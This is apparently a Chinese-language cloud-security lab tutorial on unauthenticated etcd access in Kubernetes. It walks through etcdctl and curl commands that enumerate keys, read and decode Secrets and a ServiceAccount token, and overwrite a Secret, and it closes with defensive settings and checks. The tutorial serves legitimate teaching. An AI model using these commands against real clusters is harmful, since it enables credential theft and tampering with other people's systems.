欢迎光临
我们一直在努力

云安全 · 05 · etcd 安全:未授权访问与数据泄露

etcd 是 Kubernetes 的“数据库”,集群里所有对象(包括 Secret)都存在这里。etcd 一旦被未授权访问,等于整个集群的机密全部泄露,甚至可被篡改。


一、etcd 是什么

etcd 是一个分布式键值(Key-Value)存储,特点是强一致(基于 Raft 共识算法)、高可用。它最出名的用途就是作为 Kubernetes 的唯一数据存储后端。

在 K8s 里:

  • 你 kubectl create secret,Secret 最终被序列化后存进 etcd。

  • apiserver 是唯一直接读写 etcd 的组件。

  • 集群的一切状态——Pod、Service、Secret、ServiceAccount token、RBAC 规则——都在 etcd 里。

一句话:拿到 etcd = 拿到整个集群的“数据库文件”。

本实验的 k3s 默认用 SQLite 作为数据存储,不直接暴露 etcd。为了教学,我们单独用容器起了一个无认证的 etcd(模拟生产中被错误暴露的 etcd)。


二、etcd 基础概念

2.1 端口

端口用途说明
2379 客户端通信(client) etcdctl、apiserver 用它读写数据
2380 节点间通信(peer) 集群内部 Raft 复制

2379 是攻击者最关心的端口。

2.2 API 版本

etcd 有 v2 和 v3 两套 API,数据不互通:

  • v2:HTTP + JSON,路径式(/v2/keys/…)。

  • v3:gRPC(也支持 HTTP/JSON 网关),支持 MVCC、事务、租约。

现在主流是 v3,工具用 etcdctl。

2.3 安全机制(正常应该有的)

机制参数作用
客户端证书认证 –client-cert-auth 客户端必须带证书才能连
TLS 加密 –cert-file/–key-file/–trusted-ca-file 通信加密
身份认证 –auth-token + 用户密码 v3 支持 RBAC
只监听内网 –listen-client-urls 限制监听地址

未授权访问的典型成因:没开 –client-cert-auth、没设密码、且 2379 暴露到可访问的网络。


三、实验环境搭建

远端脚本:

bash /opt/cloudsec-labs/etcd/start-etcd.sh

脚本核心命令:

docker run -d –name etcd-lab \\
 -p 2379:2379 -p 2380:2380 \\
 -v etcd-lab-data:/etcd-data \\
quay.io/coreos/etcd:v3.5.15 \\
/usr/local/bin/etcd \\
   –name=etcd-lab \\
   –data-dir=/etcd-data \\
   –listen-client-urls=http://0.0.0.0:2379 \\
   –advertise-client-urls=http://192.168.143.156:2379 \\
   –listen-peer-urls=http://0.0.0.0:2380 \\
   –initial-advertise-peer-urls=http://192.168.143.156:2380 \\
   –initial-cluster=etcd-lab=http://192.168.143.156:2380

逐段解释:

  • -p 2379:2379 -p 2380:2380:把容器端口映射到宿主机(宿主端口:容器端口)。

  • -v etcd-lab-data:/etcd-data:用一个命名卷持久化数据。

  • quay.io/coreos/etcd:v3.5.15:etcd 官方镜像(在 quay.io 上)。

  • –name=etcd-lab:节点名。

  • –data-dir=/etcd-data:数据目录。

  • –listen-client-urls=http://0.0.0.0:2379:监听所有网卡的 2379(这就是暴露的根源;生产应只监听内网 IP)。

  • –advertise-client-urls:告诉客户端用哪个地址连。

  • –listen-peer-urls / –initial-advertise-peer-urls / –initial-cluster:peer 集群配置(单节点也要写)。

  • 注意:整条命令没有任何 –client-cert-auth、没有 TLS、没有密码 → 无认证。

真实回显:

+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
|       ENDPOINT       |       ID       | VERSION | DB SIZE | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS |
+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
| http://127.0.0.1:2379 | 45275cf9dde76f4e | 3.5.15 |   20 kB |     true |     false |         2 |         4 |                 4 |       |
+———————–+——————+———+———+———–+————+———–+————+——————–+——–+
[!] 注意:该实例未开启客户端证书认证(–client-cert-auth),任何人可读写。


四、etcdctl 使用

etcdctl 是 etcd 的命令行客户端。v3 需要设置 ETCDCTL_API=3(旧版本必须,新版本默认 v3)。

由于攻击者机器上不一定装了 etcdctl,脚本用一次性容器来当客户端:

bash /opt/cloudsec-labs/etcd/etcdctl.sh get / –prefix –keys-only

脚本内容:

docker run –rm –network host quay.io/coreos/etcd:v3.5.15 \\
/usr/local/bin/etcdctl –endpoints=http://192.168.143.156:2379 "$@"

逐段解释:

  • docker run –rm:跑完就删的临时容器。

  • –network host:容器直接用宿主机网络(这样能访问 2379)。

  • –endpoints=http://192.168.143.156:2379:指定 etcd 地址。

  • "$@":把脚本收到的参数原样传给 etcdctl。

常用子命令:

命令作用
get <key> 读取一个 key
get <prefix> –prefix 按前缀读取一批
–keys-only 只列出 key,不显示值
put <key> <value> 写入/覆盖
del <key> 删除
watch <key> 监听变化
endpoint status 查看集群状态

五、模拟 K8s 数据

K8s 把数据按固定前缀存放:

前缀内容
/registry/secrets/<namespace>/<name> Secret(base64)
/registry/serviceaccounts/<ns>/<name> ServiceAccount
/registry/pods/<ns>/<name> Pod
/registry/roles/…、/registry/rolebindings/… RBAC

写入模拟数据:

bash /opt/cloudsec-labs/etcd/seed-data.sh

核心命令:

docker exec etcd-lab /usr/local/bin/etcdctl –endpoints=http://127.0.0.1:2379 \\
put /registry/secrets/default/db-password \\
 "$(printf 'admin:Passw0rd!2026' | base64)"

逐段解释:

  • docker exec etcd-lab …:进入 etcd 容器执行 etcdctl。

  • put /registry/secrets/default/db-password:写一个 key,路径模仿 K8s 的 Secret 存储位置。

  • printf 'admin:Passw0rd!2026' | base64:把明文密码转成 base64(K8s Secret 就是这样存的)。printf 比 echo 更可控(不额外加换行)。

真实回显(列出已写入的 key):

/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token


六、攻击:未授权读取

攻击者视角(不认证、直接读):

bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password –print-value-only

  • –print-value-only:只打印值,方便直接拿去解码。

真实回显:

YWRtaW46UGFzc3cwcmQhMjAyNg==

解码:

bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password –print-value-only | base64 -d

输出:

admin:Passw0rd!2026

这就是 K8s Secret 泄露的完整过程:未授权访问 etcd → 读取 Secret → base64 解码 → 拿到明文密码。

列出所有 key(信息收集):

bash /opt/cloudsec-labs/etcd/etcdctl.sh get / –prefix –keys-only

真实回显:

/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token

etcdctl 如果没设置 ETCDCTL_API=3,会按 v2 解析并报错。可以用 ETCDCTL_API=3 etcdctl … 显式指定。官方 3.4+ 默认 v3。


七、攻击:读取 ServiceAccount Token

/registry/secrets/kube-system/default-token-abc12/token 里模拟了一个 SA token:

bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/kube-system/default-token-abc12/token –print-value-only

真实回显:

eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2UifQ.fake-jwt-token-for-lab

在真实集群里,这个 token 可以直接拿去调 apiserver。结合第 04 篇的 curl -H "Authorization: Bearer <token>",攻击者就能以该身份操作集群。

攻击链:未授权 etcd → 读 SA token → 冒充 Pod 身份 → 根据 RBAC 权限横向/提权。


八、攻击:篡改数据

etcd 未授权不只是“读”,还能“写”。攻击者可以:

  • 修改 Secret(把服务密码改成自己的)。

  • 修改 RBAC(给某个 SA 加 cluster-admin)。

  • 删除数据造成拒绝服务。

  • 植入恶意配置。

示例(仅演示,勿在生产尝试):

bash /opt/cloudsec-labs/etcd/etcdctl.sh put /registry/secrets/default/db-password "$(printf 'admin:hacked' | base64)"

危害:比只读更严重,属于完整性破坏,可导致业务被完全控制。


九、真实环境中的利用流程

在真实 K8s 里,攻击者通常这样发现并利用 etcd:

  • 发现:扫描内网 2379 端口;或通过 SSRF 访问;或从节点上的 etcd 客户端证书文件读取。

  • 探测:

    curl -s http://<ip>:2379/version
    curl -s http://<ip>:2379/v2/keys/   # v2 直接遍历

  • 读取:

    ETCDCTL_API=3 etcdctl –endpoints=<ip>:2379 get / –prefix –keys-only
    ETCDCTL_API=3 etcdctl –endpoints=<ip>:2379 get /registry/secrets –prefix

  • 解码 Secret,获取数据库密码、云 AK/SK、SA token。

  • 横向:用泄露凭证访问其他系统,或直接用 SA token 操作集群。


  • 十、防御

    10.1 核心措施

  • 开启客户端证书认证:–client-cert-auth,并配置 –trusted-ca-file。

  • 启用 TLS:–cert-file、–key-file。

  • 只监听内网/本机:–listen-client-urls=http://127.0.0.1:2379 或内网 IP,绝不监听 0.0.0.0 并暴露到公网。

  • 防火墙/安全组:2379/2380 只允许 apiserver 节点访问。

  • 启用 etcd RBAC(auth enable),最小权限。

  • Secret 静态加密:在 apiserver 配置 EncryptionConfiguration,让写进 etcd 的 Secret 是密文(即使 etcd 泄露也拿不到明文)。

  • 定期备份:etcdctl snapshot save,并妥善保管(备份文件同样敏感)。

  • 审计与监控:监控对 etcd 的异常访问。

  • 10.2 检查清单

    # 确认 etcd 是否监听在公网
    ss -lntp | grep 2379
    # 确认是否开启客户端证书认证(看启动参数)
    ps -ef | grep etcd | grep client-cert-auth


    十一、清理实验

    docker rm -f etcd-lab


    十二、本篇小结

  • etcd 是 K8s 的唯一数据存储,含所有 Secret 和 token。

  • 客户端端口 2379,peer 端口 2380。

  • 未授权成因:无 TLS、无 –client-cert-auth、监听 0.0.0.0 且暴露。

  • 利用:get / –prefix –keys-only 列 key → 读 /registry/secrets/… → base64 解码。

  • 危害不止泄密,还能篡改。

  • 防御核心:客户端证书 + TLS + 只监听内网 + Secret 静态加密。

  • 赞(0)
    未经允许不得转载:171主机测评 » 云安全 · 05 · etcd 安全:未授权访问与数据泄露
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址